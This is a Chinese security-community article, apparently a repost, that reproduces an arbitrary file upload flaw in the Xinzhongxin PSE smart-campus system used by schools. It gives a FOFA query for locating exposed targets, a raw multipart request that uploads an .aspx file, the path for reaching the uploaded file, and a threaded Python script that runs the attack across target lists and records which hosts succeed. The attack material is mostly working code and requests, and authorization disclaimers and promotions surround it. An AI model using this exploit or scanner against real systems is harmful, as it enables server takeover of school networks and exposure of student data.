文章总结： 本文披露新中新中小学智慧校园信息管理系统PSE存在任意文件上传漏洞，攻击者可获取服务器权限。文章提供FOFA搜索语句、具体上传payload及批量检测POC代码，并附免责声明强调需授权测试。内容具可操作性，但含公众号推广信息。 综合评分： 72 文章分类： 漏洞分析,WEB安全,渗透测试,安全工具
漏洞复现 | 新中新中小学智慧校园信息管理系统文件上传
zkaq – 满心欢喜 zkaq – 满心欢喜
掌控安全EDU
2026年8月31日 12:09 江西
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
扫码领资料
获网安教程
本文由掌控安全学院 – 满心欢喜 投稿
来Track安全社区投稿~
千元稿费！还有保底奖励~（ https://bbs.zkaq.cn）
漏洞描述：
新中新中小学智慧校园信息管理系统PSE存在任意文件上传漏洞，攻击者可通过该漏洞获取服务器权限
fofa搜索语句：
body=”/Login/IndexMobi”
资产首页：
刷新抓包
payload:
POST /PSE/Upload HTTP/1.1
Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
Content-Type: multipart/form-data; boundary=00content0boundary00
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2Content-Length: 147
Connection: close--00content0boundary00
Content-Disposition: form-data; name="file"; filename="test.aspx"
Content-Type: image/jpg
123
--00content0boundary00--
拼接访问
url/Upload/PrimarySchoolEnrollment/3accfc2c-efd1-4ccb-8ed5-0d76b6a2a908.aspx
批量检测poc
import requests
import threading
def run_poc(url):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
"Content-Type": "multipart/form-data; boundary=00content0boundary00",
"Accept": "text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2",
"Connection": "close"
}
# 构建multipart/form-data
data = (
"--00content0boundary00\r\n"
'Content-Disposition: form-data; name="file"; filename="test.aspx"\r\n'
"Content-Type: image/jpg\r\n\r\n"
"123\r\n"
"--00content0boundary00--\r\n"
)
response = requests.post(url + '/PSE/Upload', headers=headers, data=data, verify=False).json()
try:
if response['Success']:
open('success.txt', 'a+').write(url + '/Upload/PrimarySchoolEnrollment/' + response['SaveName'] + '\n')
except:
pass
# url.txt内放目标 一行一个 不加协议默认http 上传成功自动存到success.txt内
for url in open('urls.txt', 'r'):
url = url.replace('\n', '')
if url.find('http://') == -1 and url.find('https://') == -1: url = 'http://' + url
threading.Thread(target=run_poc, args=[url, ]).start()
# Run_Poc(url)
urls.txt 放目标
运行
成功后success.txt会存放目录
申明：本公众号所分享内容仅用于网络安全技术讨论，切勿用于违法途径，
所有渗透都需获取授权，违者后果自行承担，与本号及作者无关，请谨记守法.
没看够~？欢迎关注！
分享本文到朋友圈，可以凭截图找老师领取
上千教程+工具+交流群+靶场账号哦
分享后扫码加我！
回顾往期内容
零基础学黑客，该怎么学？
网络安全人员必考的几本证书！
文库｜内网神器cs4.0使用说明书
记某地级市护网的攻防演练行动
手把手教你CNVD漏洞挖掘 + 资产收集
【精选】SRC快速入门+上分小秘籍+实战指南
代理池工具撰写 | 只有无尽的跳转，没有封禁的IP！
点赞+在看支持一下吧~感谢看官老爷~
你的点赞是我更新的动力
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：掌控安全EDU zkaq – 满心欢喜 zkaq – 满心欢喜《漏洞复现 | 新中新中小学智慧校园信息管理系统文件上传》
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论